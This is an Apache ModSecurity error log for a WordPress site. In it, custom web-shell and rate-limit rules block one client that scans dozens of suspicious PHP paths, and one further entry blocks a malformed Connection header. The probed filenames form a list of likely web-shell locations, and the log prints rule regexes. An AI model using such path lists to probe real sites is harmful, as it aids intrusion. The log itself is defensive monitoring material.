[Sun Apr 26 08:34:27.487112 2026] [:error] [pid 8385:tid 8438] [client 20.9.69.97:11220] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atx.php"] [unique_id "ae1dkzOy7_J84Wx3-ox6YQAAAE4"]
[Sun Apr 26 08:34:32.592215 2026] [:error] [pid 22572:tid 22580] [client 20.9.69.97:11172] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ae1dmNXOViWCFU-pZzCDewAAAUI"]
[Sun Apr 26 08:34:34.086468 2026] [:error] [pid 8390:tid 8459] [client 20.9.69.97:11202] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ae1dmoGPtFK_i9p5yxRDFwAAAIg"]
[Sun Apr 26 08:34:36.453499 2026] [:error] [pid 8390:tid 8463] [client 20.9.69.97:11261] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ae1dnIGPtFK_i9p5yxRDHgAAAIw"]
[Sun Apr 26 08:34:37.592512 2026] [:error] [pid 13137:tid 13151] [client 20.9.69.97:11223] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z60.php"] [unique_id "ae1dnd0RB4J0o4h5neHxkwAAAgo"]
[Sun Apr 26 08:34:38.769030 2026] [:error] [pid 16574:tid 16625] [client 20.9.69.97:11169] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ae1dnn5MsX8wRQr99nYCPQAAA08"]
[Sun Apr 26 08:34:53.372941 2026] [:error] [pid 8383:tid 8413] [client 20.9.69.97:11081] [client 20.9.69.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ae1drdFa2S3EsATMdWPTuQAAABA"]
[Sun Apr 26 08:34:56.462614 2026] [:error] [pid 13137:tid 13155] [client 20.9.69.97:11109] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "ae1dsN0RB4J0o4h5neHxmQAAAg4"]
[Sun Apr 26 08:34:57.700275 2026] [:error] [pid 13197:tid 13232] [client 20.9.69.97:11256] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "ae1dsd3kktFKdSxTrBuZzAAAAsE"]
[Sun Apr 26 08:34:58.587320 2026] [:error] [pid 22573:tid 22619] [client 20.9.69.97:11151] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "ae1dsnB3EmQlD4yKUt81NQAAAYw"]
[Sun Apr 26 08:34:59.144847 2026] [:error] [pid 8390:tid 8463] [client 20.9.69.97:11228] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cong.php"] [unique_id "ae1ds4GPtFK_i9p5yxRDVwAAAIw"]
[Sun Apr 26 08:34:59.652752 2026] [:error] [pid 8383:tid 8400] [client 20.9.69.97:11252] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "ae1ds9Fa2S3EsATMdWPTugAAAAM"]
[Sun Apr 26 08:35:00.213841 2026] [:error] [pid 13197:tid 13233] [client 20.9.69.97:11135] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "ae1dtN3kktFKdSxTrBuZzQAAAsI"]
[Sun Apr 26 08:35:00.868790 2026] [:error] [pid 22572:tid 22586] [client 43.154.250.181:58966] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae1dtNXOViWCFU-pZzCDjwAAAUg"]
[Sun Apr 26 08:35:00.921789 2026] [:error] [pid 22573:tid 22629] [client 20.9.69.97:11185] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "ae1dtHB3EmQlD4yKUt81OQAAAZY"]
[Sun Apr 26 08:35:01.518620 2026] [:error] [pid 8390:tid 8453] [client 20.9.69.97:11158] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w.php"] [unique_id "ae1dtYGPtFK_i9p5yxRDYAAAAII"]
[Sun Apr 26 08:35:02.324109 2026] [:error] [pid 8390:tid 8469] [client 20.9.69.97:11234] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1dtoGPtFK_i9p5yxRDZgAAAJI"]
[Sun Apr 26 08:35:03.092113 2026] [:error] [pid 8390:tid 8458] [client 20.9.69.97:11259] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1dt4GPtFK_i9p5yxRDagAAAIc"]
[Sun Apr 26 08:35:04.073719 2026] [:error] [pid 8390:tid 8468] [client 20.9.69.97:11191] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1duIGPtFK_i9p5yxRDcAAAAJE"]
[Sun Apr 26 08:35:04.866314 2026] [:error] [pid 8491:tid 8519] [client 20.9.69.97:11174] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ae1duCq7I7e6CJooQM2y3AAAANQ"]
[Sun Apr 26 08:35:06.530467 2026] [:error] [pid 22572:tid 22601] [client 20.9.69.97:11179] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ae1dutXOViWCFU-pZzCDkwAAAVc"]
[Sun Apr 26 08:35:07.514218 2026] [:error] [pid 13137:tid 13154] [client 20.9.69.97:11149] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ae1du90RB4J0o4h5neHxsgAAAg0"]
[Sun Apr 26 08:35:08.844918 2026] [:error] [pid 22572:tid 22587] [client 20.9.69.97:11089] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ae1dvNXOViWCFU-pZzCDlQAAAUk"]
[Sun Apr 26 08:35:09.958657 2026] [:error] [pid 22572:tid 22590] [client 20.9.69.97:11122] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "ae1dvdXOViWCFU-pZzCDmQAAAUw"]
[Sun Apr 26 08:35:11.520084 2026] [:error] [pid 22573:tid 22631] [client 20.9.69.97:11247] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ae1dv3B3EmQlD4yKUt81PgAAAZg"]
[Sun Apr 26 08:35:12.390802 2026] [:error] [pid 8491:tid 8500] [client 20.9.69.97:11085] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ae1dwCq7I7e6CJooQM2y4QAAAME"]
[Sun Apr 26 08:35:13.264512 2026] [:error] [pid 8383:tid 8401] [client 20.9.69.97:11180] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ae1dwdFa2S3EsATMdWPTwwAAAAQ"]
[Sun Apr 26 08:35:13.965849 2026] [:error] [pid 8385:tid 8438] [client 20.9.69.97:11144] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "ae1dwTOy7_J84Wx3-ox6bgAAAE4"]
[Sun Apr 26 08:35:14.755794 2026] [:error] [pid 8491:tid 8510] [client 20.9.69.97:11141] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ae1dwiq7I7e6CJooQM2y5QAAAMs"]
[Sun Apr 26 08:35:18.097899 2026] [:error] [pid 16515:tid 16518] [client 20.9.69.97:11213] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ae1dxltDrUmgHSvpuLzVvgAAAkA"]
[Sun Apr 26 08:35:18.918924 2026] [:error] [pid 22572:tid 22578] [client 20.9.69.97:11187] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ae1dxtXOViWCFU-pZzCDmwAAAUA"]
[Sun Apr 26 08:35:19.376003 2026] [:error] [pid 22573:tid 22625] [client 20.9.69.97:11184] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ae1dx3B3EmQlD4yKUt81SAAAAZI"]
[Sun Apr 26 08:35:20.276278 2026] [:error] [pid 16515:tid 16528] [client 20.9.69.97:11196] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ae1dyFtDrUmgHSvpuLzVwQAAAko"]
[Sun Apr 26 08:35:20.805767 2026] [:error] [pid 22572:tid 22592] [client 20.9.69.97:11182] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ae1dyNXOViWCFU-pZzCDnQAAAU4"]
[Sun Apr 26 08:35:21.406118 2026] [:error] [pid 8390:tid 8471] [client 20.9.69.97:11103] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ae1dyYGPtFK_i9p5yxRDeQAAAJQ"]
[Sun Apr 26 08:35:21.919203 2026] [:error] [pid 13137:tid 13147] [client 20.9.69.97:11074] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ae1dyd0RB4J0o4h5neHxxQAAAgc"]
[Sun Apr 26 08:35:22.812678 2026] [:error] [pid 8385:tid 8441] [client 20.9.69.97:11175] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ae1dyjOy7_J84Wx3-ox6dQAAAFE"]
[Sun Apr 26 08:35:26.590555 2026] [:error] [pid 22573:tid 22627] [client 20.9.69.97:11215] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ae1dznB3EmQlD4yKUt81TAAAAZQ"]
[Sun Apr 26 08:35:27.232152 2026] [:error] [pid 8390:tid 8466] [client 20.9.69.97:11072] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ae1dz4GPtFK_i9p5yxRDjwAAAI8"]
[Sun Apr 26 08:35:27.785287 2026] [:error] [pid 22572:tid 22586] [client 20.9.69.97:11253] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "ae1dz9XOViWCFU-pZzCDogAAAUg"]
[Sun Apr 26 08:35:28.510905 2026] [:error] [pid 8383:tid 8421] [client 20.9.69.97:11177] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ae1d0NFa2S3EsATMdWPTyAAAABg"]
[Sun Apr 26 08:35:29.205403 2026] [:error] [pid 16574:tid 16643] [client 20.9.69.97:11039] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ae1d0X5MsX8wRQr99nYCRQAAA1g"]
[Sun Apr 26 08:35:29.844077 2026] [:error] [pid 22572:tid 22597] [client 20.9.69.97:11165] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ae1d0dXOViWCFU-pZzCDpQAAAVM"]
[Sun Apr 26 08:35:30.945020 2026] [:error] [pid 22572:tid 22593] [client 20.9.69.97:11082] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "ae1d0tXOViWCFU-pZzCDqQAAAU8"]
[Sun Apr 26 08:35:31.510079 2026] [:error] [pid 13137:tid 13141] [client 20.9.69.97:11248] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "ae1d090RB4J0o4h5neHyCAAAAgE"]
[Sun Apr 26 08:35:32.852322 2026] [:error] [pid 13137:tid 13140] [client 20.9.69.97:11168] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "ae1d1N0RB4J0o4h5neHyEwAAAgA"]
[Sun Apr 26 08:35:34.816190 2026] [:error] [pid 8390:tid 8463] [client 20.9.69.97:11131] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "ae1d1oGPtFK_i9p5yxRDsgAAAIw"]
[Sun Apr 26 08:35:36.666205 2026] [:error] [pid 22573:tid 22628] [client 20.9.69.97:11116] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/maint.php"] [unique_id "ae1d2HB3EmQlD4yKUt81bAAAAZU"]
[Sun Apr 26 08:35:37.423497 2026] [:error] [pid 8491:tid 8524] [client 20.9.69.97:11263] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ae1d2Sq7I7e6CJooQM2y-gAAANg"]
[Sun Apr 26 08:35:38.916196 2026] [:error] [pid 8491:tid 8500] [client 20.9.69.97:11100] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ae1d2iq7I7e6CJooQM2y-wAAAME"]
[Sun Apr 26 08:35:39.778279 2026] [:error] [pid 13137:tid 13140] [client 20.9.69.97:11084] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ae1d290RB4J0o4h5neHyLwAAAgA"]
[Sun Apr 26 08:35:40.240608 2026] [:error] [pid 8390:tid 8464] [client 20.9.69.97:11087] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ae1d3IGPtFK_i9p5yxRDzwAAAI0"]
[Sun Apr 26 08:35:40.724420 2026] [:error] [pid 8390:tid 8469] [client 20.9.69.97:11147] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ae1d3IGPtFK_i9p5yxRD0AAAAJI"]
[Sun Apr 26 08:35:41.717446 2026] [:error] [pid 22572:tid 22584] [client 20.9.69.97:11092] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ae1d3dXOViWCFU-pZzCDrwAAAUY"]
[Sun Apr 26 08:35:43.880989 2026] [:error] [pid 13137:tid 13145] [client 20.9.69.97:11260] [client 20.9.69.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "ae1d390RB4J0o4h5neHyNQAAAgU"]
